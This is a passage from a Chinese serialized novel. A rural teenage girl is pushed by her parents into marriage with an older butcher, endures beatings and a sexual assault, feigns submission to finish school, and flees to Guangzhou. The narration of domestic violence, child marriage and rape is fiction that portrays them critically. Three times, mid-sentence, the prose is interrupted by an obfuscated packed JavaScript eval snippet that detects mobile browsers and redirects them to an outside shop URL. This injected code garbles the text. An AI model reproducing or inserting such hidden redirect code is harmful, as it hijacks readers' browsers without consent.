老朱一屁股坐下来,翘起二郎腿,脚上的皮鞋灰扑扑的,鞋底沾着不知道是泥还是什么黄黄的东西。 麦丽娜陪着他坐下。老朱开始问些多大、读几年级之类的话,麦丽娜当他是长辈,一一如实回答。 老朱从兜里掏出一根牙签,一边听,一边剔牙,“读书好,读书好。我这个人,最敬重读书人。我们家祖祖辈辈都是杀猪的,到我这一代,是该改善改善基因了。” 他剔出一块东西,看了一眼,弹到地上。 这时麦母端茶出来,老朱欠了欠身,“不用客气啊婶子。” 婶子?这糟老头比她妈还老叫她婶子? 麦丽娜心中顿时警铃大作。 这时她妈开始絮絮叨叨说麦丽娜的好话,说她放学就回家,从不乱跑,成绩也好。说着说着把她的英语书翻出来,让麦丽娜念两句给“阿朱哥”听听。 麦丽娜尴尬得脚趾抠地,但很快便听话照做。 她把书本竖起来,用力清了清嗓子,一本正经地念:“欧巴萨瓦迪卡,妈妈咪呀雅蠛蝶——”尾音拉得长长的。 “听起来有点耳熟啊?”老朱侧了侧头,一时想不起来。见两人盯着他,忙将油光光的巴掌拍得啪啪响:“这个发音,跟英国佬一模一样!” “阿朱哥,你不用改善基因了,”麦丽娜一本正经地说,“我这联合国的语言你都能听懂,你太有文化了!” 那晚麦丽娜被骂个狗血淋头。 “我才高二!怎么这么快就带人相亲了?!”她又委屈又愤怒。 老麦坐在凳子上抽烟,半晌才说:“你姐这个时候已经生两胎了,你还想怎样?” “还好意思提她?初中就让她嫁人,她每次回来都哭,那男人打她,婆婆又刁难她,小孩又没人带,你们让她过的是什么日子?!” “一开始嫁过去都是这样子的,过一段时间就好了。”她妈在一旁说,“哪个女人不是这样过来的?我当年嫁给你爸,头两年也闹,后来不也好好过了?” “那是你!”麦丽娜声音尖起来,“她每次回来都瘦一圈,脸上就没好过!现在她都不回来了,知道不能指望你们!” 老麦把烟头往地上一摔,霍地站起来。 “我给你脸了?”他手一晃。 麦丽娜往后缩了一步,没躲开那个巴掌,“啪”的一声,半边脸火辣辣的。 “以为自己是皇帝女?”老麦指着她,“读了初中想读高中,读了高中还想别的,你当家里是开金铺的?” 弟弟在里屋看电视,声音开得老大,尔康正悲情地在喊“紫薇”、“紫薇”,弟弟看得入迷,头都没回。 麦丽娜捂着脸,眼泪在眼眶里打转,咬着牙没让掉下来。她抬起头,看着她爸,一字一句:“你们不就是想要彩礼吗?就这么迫不及待要收回本?” 老麦眼睛瞪得铜铃大,抄起门后的扫把,劈头盖脸就抽下来。 “我让你狂!我让你狂!” 麦丽娜用手臂挡,扫把打在胳膊上。见她敢挡,老麦更怒了,打得更用力。 “我打死你这个白眼狼!” 她蹲下去,把脸埋进膝盖里,扫把一下一下落在背上、肩上、手臂上。最后她不躲了,也不哭了,就那么蹲着,任他打。 里屋的电视声一点没小。弟弟笑得嘎嘎的,不知道看到了什么好笑的。 她妈在旁边拉:“行了行了,别打了。” 老麦被拉开,喘着粗气,扫把往地上一摔,转身进了里屋。“啪”一声把电视关了,骂弟弟:“看什么看!作业写了没有!” 弟弟的声音传出来:“写完了。” “写完了不会去背课文?” 弟弟没吭声,趿拉着拖鞋从里屋出来,路过堂屋的时候,瞥了麦丽娜一眼。就一眼。 然后绕过她,去厨房拿了根香蕉,一边剥一边往自己屋里走。 麦丽娜蹲在地上,很久没动。 她妈把她扶起来,扶进她房间,让她躺在床上,看着她脸上肿起来的印子,叹了口气,伸手想摸。 麦丽娜偏了偏头,躲开了。 她妈的手悬在半空,讪讪地收回去。 “痛不痛?” 麦丽娜没说话。 “你爸就那个脾气,你别往心里去。”她妈絮絮叨叨,“我们还不是为你好?现在挑着,你要是看中了,非要毕业再结婚,我们还能逼你不成?” 麦丽娜把脸转向墙。 “女人都要嫁人的……”她妈见她听不进去,把话收住。“你好好想想吧。”便出去了。 隔壁传来弟弟看电视的声音,他又把电视打开了,声音压得很低,但能听见。偶尔笑两声,嘎嘎的,像只鸭子。 麦丽娜盯着墙上那块发黑的水渍,眼睛干干的,没眼泪了。 后来睡着了。 梦见了老朱,她不敢想象,“穿西裙、嫁老板”的梦变成了“穿围裙、嫁老猪”,她在梦里大吵大闹、大喊大叫,可周围的人面不改色,像根本看不见她。 第二天,大家又像没事一样。 本以为经过上回那出,家里能消停一阵子。没想到才过两周,又有人寻来了。 “这次这个不一样,”麦母在厨房里压低声音,一边切菜一边说,“人家是包工头,手底下带着十几号人,比老朱年轻多了,还没结过婚。” “去年就在镇上盖了楼,是认认真真找老婆的。哼,你别不知好歹,多少人抢着跟他相亲!” 来人像模像样,穿着一件灰色夹克,皮鞋擦得锃亮。人往那儿一坐,确实比老朱体面。 “成绩还好不?” “还行。” “数学呢?” 麦丽娜咬咬牙,“合格没问题。” “会算账不?” “呃……学校没教。” 包工头没有再问下去,看了眼她的手,就站起来。 麦母刚倒茶出来,一愣:“这么快?再坐会儿,饭马上好了……” “不用,”包工头急着要走,“工地还有事。” 麦母追出去,麦丽娜听见两人在门口嘀嘀咕咕。过了一会,她妈独自回来,脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317734|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好看,“说你太小了,不合适。” 后来听媒人说包工头觉得她没啥用,不会当家管账,又吃不了苦。麦丽娜气笑了,敢情高中数学还入不了他法眼,三角函数比不上会算账的? 这也好,虽然有点不服气,但起码是一种解脱。 这次相亲让她想明白,婚姻就是一种买卖,看对方能不能为自己带来利益。 同学还在做梦的年纪,她已经悄然无声地成熟起来。 从那以后,家里再来人,她不再轰了。 她坐在那里,倒茶,叫“叔”,陪着坐一会儿,等人走了就回屋。 麦母问:“怎么样?” 她说:“还行。” “还行是什么意思?” “就是还行。” 麦母气得不行,但也没办法——她不轰人了,总比之前强。 那些人来了一拨又一拨,有的嫌她黑,有的嫌她瘦,有的嫌她话少,有的嫌她话多。一个都没成。 麦母急了:“你是不是故意的?!” 麦丽娜看着她妈,憋红了脸:“我没有!我见人了!又没轰人,是人家看不上我,我有什么办法?” 她妈被她噎住。 她爸冷笑一声,把烟头按灭在桌上:“行。你不想嫁,可以。那学也别上了。” “凭什么呀?!” “还读来干嘛?一样嫁不出去!”老麦站起来,指着她妈,“明天去学校把手续办了,别跟她废话。” “知道了。”麦母白了眼她,含糊说道,“晚一点再说吧。” 她以为她爸只是说说。这么多年,他骂过、打过,但从来没真的不让她上学。而第二天,她妈也没有出去。 接下来的家长会,班主任要求家长都出席,要讲高三的备考情况,麦母破天荒来城里开家长会,她还有一点点侥幸,以为是对高考的重视。第二天,班主任便单独叫她进办公室。 “麦丽娜,你成绩虽然不算拔尖,但也没差到不能读。咱们班六十二个人,没有一个退学的。城里的孩子,家里再困难,也要供到高中毕业。为什么?因为这张毕业证,是敲门砖。没有它,你连工厂文员都当不了,只能下车间做流水线。” 麦丽娜猛地抬起头,看着班主任同情又带点厌烦的目光,又猛地低下头。 这次是真的!他们竟然来真的! “你妈妈昨天来,跟我说你不读了,”班主任看着她,“我想问问你,你自己怎么想?” 麦丽娜手指攥紧了裤腿,没说出话。 班主任等了一会儿,叹了口气:“行,你先回去上课吧。好好想想。” 她在抖,说不出的、浑身的恐惧。课文说的“被命运扼住喉咙”就是这种感觉,她知道如果就这样放弃,那这一生将注定走她妈、她姐的老路。 如果没来读高中,她还能像其他农村小孩一样认命,可是她在学校待了这么久,知道学历的重要性,知道自己踮踮脚,不比城里孩子的差。有了高中毕业证,她就能做文员、考会计、去公司当前台。一个月差几百块,一年就是几千块,一辈子就是…… 她掉头就走,不是回教室,而是直接跑出校门,回去求她爸。 坐车回乡的一路,她手在哆嗦,心在算计,是跪下认错,还是要死要活。 不能,这些手段她姐用过,没卵用。 “珍惜读书的机会!人机灵点!”七叔的话回荡在耳边。 她终于明白这两句话的含义。感谢七叔的好意,感谢他那个下午转变了想法,为她谋了这条路——不这样打算,她可能已经死在海中、或者埋没在香港茶餐厅的碗碟里,连读高中的机会都没有。 “谢谢你七叔,我会咬牙撑下去的,我要机灵一点……” 读完高中,拿到文凭。 5. 缘来是你 太阳快下山时,麦丽娜赶回家。推开院门,老麦在院子里劈柴,斧头举起,落下,“咔嚓”一声,木头裂成两半。 “爸,我有话跟你说。” 老麦没回头,斧头又举起来。 “我不读了。” 老麦的手顿了一下,终于转过头来,看着她。 麦丽娜站在那里,眼睛红红的,嘴唇抿着,像一路哭过来。 “你说什么?” “我说我不读了。”她艰难地说着,“妈去学校,老师跟我说了那么多……我都懂。家里供我读书不容易,是我自己不懂事。” 老麦终于停下,直起腰,把斧头拄在地上,看着她。 “你又想耍什么花招?” 麦丽娜眼泪掉下来,抬手抹了一把。 “我没耍花招。我就是想通了。”她吸了吸鼻子,“我不想嫁人是害怕跟姐一样!但是不嫁人,我又能干什么呢?你们给我读书,我也没读出来,这么大了,总不能让家里一直养着我……” 老麦看着她,眉头皱起来。 “我去打工,行不行?” “打工?你能打什么工?” “去东莞。”麦丽娜说,“我听说那边厂里招人,一个月能有九百一千,比镇上多好几百呢。” 老麦脸色沉下来。 “好几百?你就看见那好几百?”他声音大起来,“你一个人在那边,没人照应,被人欺负了怎么办?你都不知道阿娟怎么不见的?你想让你妈哭瞎是不是?” 麦丽娜站在那里,眼泪一直流。 “可是我没有高中文凭,在这里能找到什么好工作?相亲都没人要!连杀猪的都说要改善基因!其他人不是嫌这个就是嫌那个,我能怎么办?” 她越说越激动,往前走了一步。 “爸,我现在知道我自己几斤几两了。我以前不懂事,把人都轰走了。”她抹了抹脸,“以后我都听你的。你让我嫁谁我就嫁谁,你让我什么时候嫁我就什么时候嫁。你是我爸,肯定不会害我。” 老麦站在那里,审视着她。 麦丽娜不躲,就那么让他看,眼泪一直流,流得满脸都是。 过了很久,老麦开口:“你兜兜转转,不就是想读下去吗?” 麦丽娜愣了一下,没说话。 “别以为我不知道你心里那点小九九。” 老麦站了一会儿,往屋里走。“先把脸洗了。哭成这样,像什么样子。” 接下来几天,麦丽娜在家里呆着,该干活干活,该吃饭吃饭,一句没提读书的事,也不着急回校。 老麦也不吭声,干农活、溜达、打麻将,一个不落下。 两人暗中比拼耐力,看谁先忍不住。 她那个傻弟弟,周末从镇上初中回来,诧异地发现她在家,绕着她走了一圈,“不读书了?” “对。”麦丽娜在院子晾衣服,头也没抬,“以后爸让我去打工就去打工,让我嫁人就嫁人。” 弟弟像看怪物一样看着她,“你脑子被驴踢了?这么好说话?” “不好吗?早点赚钱,早点给家里盖个大房子。你看看咱们家,破破旧旧的,连个抽水马桶都没有,谁住着都不舒服。”麦丽娜的声音穿过门槛,恰到好处地钻进她爸的耳朵里。 弟弟站在院子里,嘴巴张得能塞进一个鸡蛋。 麦丽娜余光扫到那个坐在屋里的背影,站起来,佝偻着身子,慢悠悠向厨房的麦母走去。 当天晚上,她快要睡觉时,她妈推门进来,坐在床边,就开始叹气。 “哎,现在的人哪,一个比一个不靠谱。上次那个说是开加工厂的,你知道加工什么?收破烂回来加工!什么加工厂?天天睡在垃圾堆里。” “还有说是在镇上开店铺的,我后来特意绕过去看了一眼,什么店铺,就是个修鞋的摊子,支在路边,下雨天连个棚都没有。” 麦丽娜不吭声。麦母继续数落: “那个,说跟人合伙搞生意的,你记得吧?就是开面包车来的那个,穿得人模狗样的,还提了两盒点心。”麦母一拍大腿,“结果是跟人合伙偷摩托车!去年刚放出来,媒婆还说是‘做过几年生意,现在想安稳过日子’。” 麦丽娜愣了一下。 麦母越说越气:“这种人要是嫁过去,哪天半夜警察上门,你是不是得跟着去蹲班房?!” 麦丽娜噗嗤笑了,“就没有好一点的吗?” “好一点的,都被你得罪光了。” 屋子里安静了好一会儿。 麦母长长叹了一口气,摇了摇头, “还有一个,嫁到镇上的,说她小叔子在找。那家人我听她说,婆婆天天刁难,早上五点就得起来做全家人的饭,晚上最后一个吃,吃的都是剩的。她男人屁都不敢放一个,还帮着他妈说话。这种人家,给再多彩礼都不能进。” “妈——,你就直说吧,”麦丽娜直接问道,“你是不是有人选了?” 麦母被戳穿也不介意,顺坡下驴说开来:“之前给你找到的,都是我们挑过最好的,你把人都轰走了,现在愿意回头的没几个。” 她声音放低,像是在耐心地为女儿谋划。 “我和你爸打听了一圈,最有诚意的,还是老朱。他跟你爸说,只要你同意,他愿意等你到高中毕业,礼金按最高的给,三金、酒席他全包,还可以现在就给定金。” 麦丽娜心里咯噔一下,油腻的脸,酒糟鼻,黄牙,指甲缝里的黑泥。看她的眼神,像看一块肉。 麦母继续说:“他年纪是大了一点,但你听我说——他父母走得早,前妻病了几年,是他一直照顾到走的。家里没有小孩。这种人,心肠不坏,懂照顾人。” 她看着麦丽娜,眼神里有点复杂的东西。 “你姐吃的苦,我们都看在眼里。经过这一次,我们也知道要看家庭、要看人。”她顿了顿,“老朱这个人,是粗了点,但是过日子嘛,他对你好就行了。” 麦母拍拍她的手,眼睛看着她,等她表态。 麦丽娜咬着嘴唇,一想到老朱,她就犯恶心,可他给的条件最符合他们家利益——钱给得足,还保证她能读完高中。只要答应他,她爸妈也不能让她中途辍学。 麦丽娜靠着床头,望向天花板。 她妈在一边等着。 好一会儿,麦丽娜开口,声音沙哑:“那就他吧。” 麦母明显松了一口气,但还在努力端着:“你可想好了?想好的话,我跟你爸就把这事定下来。” “嗯。” 老朱得知这个消息,第二天就来了。 还没进门,声音先到了:“叔!叔在家吗?”那嗓门大得,半个村子都能听见。 麦父从屋里迎出来,老朱已经大步跨进院子,手里拎着两瓶酒,往老麦怀里一塞:“五粮液,正宗的!我一个兄弟从四川带回来的,专门留给你尝!” 老麦愣了一下,低头看看酒,脸上笑开了:“这怎么好意思……” “咱俩谁跟谁!”老朱一巴掌拍在老麦肩上,拍得老麦身子晃了晃,“以后就是一家人了,客气啥!” 老麦被他拍得直笑。 老朱眼睛往屋里扫:“我老婆呢?” 麦丽娜站在堂屋门口,听见“我老婆”三个字,胃里翻了一下。但她还是努力挤出笑容。 老朱看见她,大步走过去,上下打量了一遍,这回没遮着掩着,目光再次从脸滑到胸,从胸滑到腰,又从腰滑到屁股,停了两秒。 “嗯,比上次看着顺眼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317735|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他回头对老麦说,“养胖了点。” 老麦在旁边笑:“那是那是。” “来,咱们说说话!”不等麦丽娜反应过来,他已经拉她往屋里走。老麦愣了愣,自动自觉地背过身子,识趣地走开去。 进了堂屋,周围都没人,老朱盯着她看了一会儿,忽然开口:“你实话跟我说,是不是你爸妈逼你的?” 麦丽娜愣了一下。 老朱摆摆手:“别装了。之前那个劲儿哪去了?现在跟个小绵羊似的,换谁谁不信。” 麦丽娜低下头,掩饰心中的吃惊。 老朱往前探了探身,声音压低了些:“我跟你说,我这人虽然粗,但不傻。你们家打的什么算盘,我一清二楚。” “彩礼收了,人跑了,这种事我见得多了。那个卖鱼的老陈,三万块娶个老婆,洞房都没入,第二天人就没了。现在还在打光棍。” 麦丽娜抬起头,看着他。老朱也看着她,那双被肥肉挤成缝的眼睛里,精光乍现。 “我把丑话说前面,你们一家老小在这,你要是跑了,我那把杀猪刀指不定就落谁头上。”他顿了顿,细细观察麦丽娜的表情,声音充满压迫感,“你给我句实话——你是真想跟我,还是你们家想拿我当冤大头?” 麦丽娜心中砰砰跳。 堂屋里安静了一会儿。 麦丽娜开口了:“朱哥,之前那些事,是我不懂事。我嫌这个嫌那个,觉得谁都不配。后来他们都没来了,我才知道,真正愿意娶我的,也就你一个。” 老朱没说话,盯着她。麦丽娜不躲,让他看。 “我妈跟我说了很多,现在我知道什么人能嫁,什么人不能嫁。”她抿了抿嘴,羞涩地别开眼睛。“你对我好就行了。” 老朱盯了她半天,忽然笑了,露出一口黄牙。 “你知道这叫什么吗?”他神秘地凑过来,口气喷到她脸上,“——缘来是你。‘缘分’的‘缘’!哈哈哈哈!” 老朱大笑着,伸手在她脸上捏了一把,“记住你自己说的。” 他从裤兜里掏出一包烟,“啪”地拍在桌上,扭头朝外大声喊:“叔你过来!” 老麦屁颠屁颠地过来。老朱抽出一根烟叼上,又抽出一根扔给老麦。老麦接住,笑着点上。 老朱吸了一口烟,眯着眼看麦丽娜:“我听你妈说,之前那些你都看不上?” 麦丽娜没回话。 老朱吐出一口烟,嘿嘿笑了两声:“看不上就对了。那些人,什么玩意儿。水泥佬、修鞋佬、垃圾佬——也配跟我比?” 他往后一靠,翘着的腿晃了晃。 “我这个人,没什么文化,但是有一样——实在。有多少钱,干多大事,从来不吹。”他指了指自己,“我那档口,一天三头猪,旺季五头。一年下来,净落这个数——” 他伸出五根手指头,晃了晃。 老麦眼睛亮了。 老朱把烟按灭在桌上,忽然站起来,从怀里掏出一沓钱。 “这个,先拿着。” 他把那沓钱拍在桌上,厚厚一摞,把茶杯都震得跳了一下。 老麦愣住了。 麦母从厨房出来,眼睛直了。 老朱看了麦丽娜一眼,又看向老麦,嗓门依旧大:“一万块,定金。不是我老朱小气,是怕你们觉得我轻浮。等办酒那天,剩下的七万八,一分不少。” 他说着,走到麦丽娜跟前,站在那儿,低头看她。 麦丽娜被他看到浑身不自然,低下头。 老朱伸出手,捏住她的下巴,往上抬了抬。 “缘来是你。哈哈哈哈……” 他松开手,转身往外走,走到门口又回头,冲老麦挥挥手:“酒留着,过两天我来喝!” 6. 呵呵,想跑? 老朱再怎么来她家都无所谓了,麦丽娜第二天就逃回了学校。 条件说好了,等她毕业才结婚。麦母解释说,婚前不好交往太密,省得被人说闲话。老朱说等得起,三番四次给她家拿肉来。 距离毕业还剩下一年时间,麦丽娜可忙了,一有时间便关注广州新闻、练粤语、攒钱、看《人性的弱点》——班里的同学实在看不懂,高考前发疯的人不少,这类型的还真没见过。 “麦丽娜,你脑子学坏了吗?”同学问。 “少见多怪,高考考的不就是人性吗?阅读理解,作文,哪个不是考你懂不懂人?” 同学愣了一下,挠挠头:“好像……有点道理?” “那当然。”麦丽娜把书往桌上一放,站起来伸了个懒腰,“我这是战略性备考,你们不懂。” 麦丽娜的战略性备考可不止学习怎么跟人打交道,还包括为自己的毕业证找到“出路”。 “喂老班,帮个忙。”她找到郭允晟,“你能不能帮我收一下毕业证?我家那旮旯地,寄东西很容易丢的,我跟老师说一下,寄你家,到时我去你家拿?” “你自己来学校拿不行吗?” “我暑假……有安排,抽不出身,等我有空,学校又放假关门。帮帮忙嘛。” 郭允晟想着她八成去打暑假工,摆摆手:“那行吧。你记得来拿。”他把自家地址写给她。 麦丽娜收了地址,“反正我有空就约你。谢了。” 很好,毕业证不怕被扣押了。寄放在同学家,她随时可以取回。 至此,麦丽娜的“逃婚”大计进展顺利,但她很快发现一个重要的问题无法解决——攒钱。 这世上,没有钱寸步难行。 她家显然也深谙此理。从她逃回学校那天起,家里就没有给过她钱。“你马上嫁过去了,有事问老朱。”她爸是这样说的,“现在是他在供你读书,你要学费找他。” 她怎么可能去找老朱?一声不吭灰溜溜地走了。东蹭西蹭、能赖就赖、周末再去工厂做点活计,硬是把日子撑下来,但攒钱是不可能的了。 “爸,没事,我这过得挺好的。” 知女莫若父,麦丽娜表现得越乖,她爸就越提防。她还说18岁了要办身份证,他傻呀,给她办身份证?要不要顺便送她去车站? 他这头亲家,看似潇洒大方,却也不是个好糊弄的主,时不时过来敲打一下,老麦几乎招架不住,只能往麦丽娜身上推,说为了备战高考,学校节假日都不放假,她想回也回不来。 “她又不考大学,那么积极干嘛?” “你不知道现在学校,要抓升学率的。不管考不考大学,都得跟着上课,晚上自修拿来上课、周末放假模拟考,只有周日下午放半天假,哪有时间回来?” 老朱笑笑不说话。 这天下午,麦丽娜正上自习,窗外忽然一阵骚动。 “门口有人找你!”一个男生从外面冲进来,挤眉弄眼,“开面包车来的,说是你……你什么人?” 麦丽娜心里咯噔一下。 她走到走廊上,往校门口一看。 一辆灰扑扑的面包车停在门外,老朱靠在车门上,翘着腿,手里夹着烟,正往教学楼这边张望。他今天穿了件皮夹克,头发抹了油,苍蝇站上去都得劈叉。 看见她出来,他抬起手,使劲挥了挥。 “娜娜!这边!” 那嗓门大得,半个操场都能听见。 麦丽娜站在原地,脑子里嗡的一声。 旁边已经有人探头探脑,窃窃私语。 她硬着头皮走过去。 校门是关着的,老朱隔着铁门,咧嘴笑,露出一口黄牙。“惊不惊喜?意不意外?” 麦丽娜站在铁门这边,压低声音:“你怎么来了?” “想你了呗。”老朱往她身后看了一眼,“这学校不错嘛,挺大的。” 麦丽娜没回头,但她知道,身后那些窗户里,不知道多少双眼睛在看着这边。 “你快走吧,我还要上课。” 老朱愣了一下,随即笑了,伸手从铁门缝里伸过来,想摸她的脸。 麦丽娜往后一退,躲开了。 老朱的手悬在半空,讪讪地收回去。 “行行行,读书要紧。”他从兜里掏出一袋东西,隔着铁门递进来,“自家卤的,尝尝。别总吃学校食堂,没营养。” 麦丽娜接过来,是一袋猪耳朵,油汪汪的。 “谢谢。” “什么时候回来?” “春节放假就回去。” 老朱看着她,忽然压低声音,凑近铁门:“春节我再见不到你,那就可不妙了。” 麦丽娜心里一紧。 老朱盯着她,咧嘴笑了:“跑得了和尚跑不了庙。别做傻事。” 他转身,上了面包车,发动,走了。 麦丽娜站在原地,呆了半晌。 她走回教室,刚坐下,同桌就凑过来,“谁啊那是?” 麦丽娜低着头,把猪耳朵塞进抽屉里,“一个亲戚。” “亲戚?”同桌半信半疑,“给你带什么好东西了?” 麦丽娜无奈,拿出油浸浸的一袋猪耳朵,“逃不过你眼睛,今晚一起吃吧!” “见者有份!”“今晚加餐!”周围同学起哄。 旁边有人小声嘀咕:“什么亲戚对你这么好呀?开车给你送猪耳朵。” 麦丽娜笑着说:“送你要不要?” “太油腻了,我可啃不下。”那人一语双关地说。 上课铃响了。 麦丽娜把课本翻开,眼睛盯着黑板,脑子里只有一个想法——必须回去稳住他。 很快到了春节,麦丽娜乖乖回家,准备和父母弟弟吃团圆饭。麦母收拾了些礼品,让她给老朱带去。 “老朱天天念着你,你倒是狠心,一个电话都没给他打过。”她妈念叨着,“去那里好好跟人家说话,别一副爱答不理的样子。” “知道了,我会跟他好好说的。”麦丽娜提起礼品就走,这本来就是她计划做的事情。 老朱家在镇子边上,独门独院,院墙外能闻见猪栏的味道。门虚掩着,她敲了两下,没人应,推门进去。 堂屋里亮着灯,老朱坐在八仙桌旁,面前摆着一瓶酒、两个杯子。看见她进来,咧嘴笑了,露出一口黄牙。 “来了?坐。” 麦丽娜把东西放在桌上:“朱哥,过年好。我爸妈让我来送点年货。” 老朱点点头,指了指对面的凳子:“坐,陪我喝一杯。” “我不会喝酒……” “大过年的,不喝怎么行?”老朱已经倒上了,把杯子推过来,“少喝点,暖暖身子。” 麦丽娜看了看那杯酒,端起来,抿了一小口。“朱哥,这大半年不是我不想找你,实在是累得够呛。” “每天早上六点起,晚上十一点才睡。做题做到手抖,背书背到头疼。我本来成绩就有点波动,老师让我抓紧点,不然毕业证都悬。” 她抬起头,看了他一眼,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317736|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想给你打电话,但是……”她顿了顿,抿了口酒,鼓起勇气:“此情若是长久时,又何必朝朝暮暮。” 老朱的眼睛眯了一下。“这句我懂。” “等考完试就好了。”她抬起头,冲他笑了笑,“到时候天天在家,咱们想什么时候见就什么时候见。”她含羞地低下头。 老朱忽然笑了,站起来,绕过桌子,走到她跟前。“那你的意思是……想我了?”他伸手摸了摸她的脸。 麦丽娜点点头,嘴角还挂着笑。 老朱的手从她脸上滑下来,落到她肩膀上,忽然一把扯住她的衣领。 麦丽娜脸上的笑僵住了。“朱哥?” 老朱没说话,手上一用力,衣服扣子崩开两颗。 “朱哥,你这是做什么?”麦丽娜惊恐地瞪大眼睛,身体往后缩,抬手挡他,“还没过门呢……你这样,我爸不会放过你的。” 老朱的手停了一下,笑了。“今天谁叫你来的?一万块定金拿了,大半年见不着人,换你你不急?你爸急不急?” 麦丽娜愣了愣,脸色煞白,她回过神来拼命挣扎:“你这样我就叫人了!” “全村都知道今天是我老婆验身的日子!我看谁会过来?”老朱又一把扯她的衣服,那张油光光的脸上,笑容一点一点收起来。 麦丽娜突然发力,猛地推开他要跑,可门口的地方被他挡住,她只能躲到角落里。 “你躲什么?”老朱步步逼近,眼睛里的光比刚才更冷。“你不是想我吗?躲什么?” “太快了,你给我点时间……朱哥——” “我就知道。”他一巴掌扇过来。 “啪!” 麦丽娜半边脸火辣辣的,耳朵里嗡嗡响。 “婊子,让你装!” 她往后躲,被他一把揪住头发,从角落里拎出来。 “让你想我!让你考完试!”每骂一句,就扇一巴掌。 “你家把你卖给我了,你信不信我打死你都没人管?” “不打你,你都不知道这家里谁说了算?” “贱东西,欠管教!” 麦丽娜被打懵了,嘴里全是血腥味,眼前的东西都在晃。 她拼命挥着手瞎抓了半天,根本伤不了他分毫,只会惹得他下更重的手。 “我错了……我错了……我是真的想跟你过……”不能再被他打下去了,再打就没命了。 老朱喘着粗气,揪着她头发的手没松,把她脸抬起来。 麦丽娜的脸肿了,嘴角破了。她看着他,忽然笑了。“对不起,对不起啊老公。” “不要打了,我自己来。”她抬起手,主动把剩下的衣服脱下。 老朱愣了一下,揪着头发的手慢慢松开。 不就是个身子吗? 命不比身子重要? “这才像话。”老朱一把将她扯到面前,“知道怎么伺候男人吗?” 那晚很晚她才回到家,狠狠地洗涮身子。家里人都睡下了,没人在意她有没回来。 炮竹声声,这年一家人过得其乐融融。 老朱验过货后,满意地跟她爸商量起年中摆酒的事。麦母则提醒她诸多持家的注意事项。 大家都认为她该认命了,连老麦都主动给出户口本,“拿去登记吧。” “爸,要先办身份证才能登记。” “那就办身份证。噢,对了,你年龄没到,我去跟人说说。” 老麦找了熟人,将她的年龄改成20岁,等一考完高考,就登记、摆酒! 7. 再到广州 几个月后,高考终于来临。 可惜高考作文题目不是《我的理想》,不然麦丽娜肯定围绕“上广州、赚大钱”的伟大目标洋洋洒洒写一大篇。 她太渴望倾诉了,从两年前去广州立下志愿、回到家乡后如何忍辱负重、斗智斗勇,最后逃出生天,她谁也没说,一个人默默完成了这一切。 想到高考后她还硬是陪演了好几天,终于等到他们最松懈的时候,说要回城买东西,借机溜了出来。她觉得自己太了不起了。 他们肯定没想到,她这么能忍。比起她爸那种“见风使舵、随时调整”的精明劲儿,她一看就是干大事的。 去广州干什么呢? 她还没想好。 麦丽娜知道自己见识少,但她胆子大,脸皮厚啊。去香港洗碗都能活,进了广州,还不能让她闯出一条生路? 靠着车窗眯了一会,她仍不敢熟睡,害怕车突然停下,有人跑上来捉她。一会她又笑自己胆小,她成人了,是个守法公民,谁敢捉她?她去的是广州,大城市,讲法律讲秩序的,谁敢捉她她就叫警察。 屁股在座椅上扭来扭去,不敢相信自己自由了。都市的灯光闯入夜色,麦丽娜有种隐隐的兴奋。 流花车站人来人往,晚上11点仍灯火通明。 下车的麦丽娜又饿又困,在路牙边蹲着吃完一瓶冒牌八宝粥后,寻思找个地方过夜。 宾馆住不起,天桥下又太脏。 她沿着车站外围溜达,竟然发现一条街走不到尽头。 “白马服装城?”她踱步在庞然巨物脚下,一栋接一栋的商贸城连绵成片,像一头远古腕龙,盘踞了整条街道。“腕龙”脚边,小草包似的货物一堆又一堆,货主和搬运工忙碌地穿梭、核对,像草原上辛勤的屎壳郎。 “哇塞,半夜还做生意?这么能赚钱吗?” 麦丽娜那点困倦瞬间被兴奋取代,光这一片就如此繁华,城里的机会定然多得是,她怎么可能找不到活路? “不是吧,30块?” 真是开眼界,小县城一晚酒店都要一两百,广州这种大城市竟然有三十块就能过夜的住宿! 三年前跟着七叔来去匆匆,她未曾好好观察过这座城市的细节,现在看来,广州并不只是有钱人的天堂,连穷人也能找到一息生存之地。 但她还是乐观了。七绕八绕,来到所谓“旅馆”,现场发现竟然是大通铺。 一间屋子里挤着七八张铁架床,床单洗得发白,有的还打着补丁。墙角堆着蛇皮袋和塑料桶,空气里混着霉味、汗味、还有不知道哪来的咸鱼味。窗户开着一条缝,外面的热气往里灌,头顶的吊扇吱呀吱呀转着,吹下来的风都是热的。 麦丽娜有点懵,不大肯定地找到一张空床坐下。床板硬邦邦的,一坐下去就吱一声。 旁边的大姐还没睡,和她打招呼:“刚来啊?” 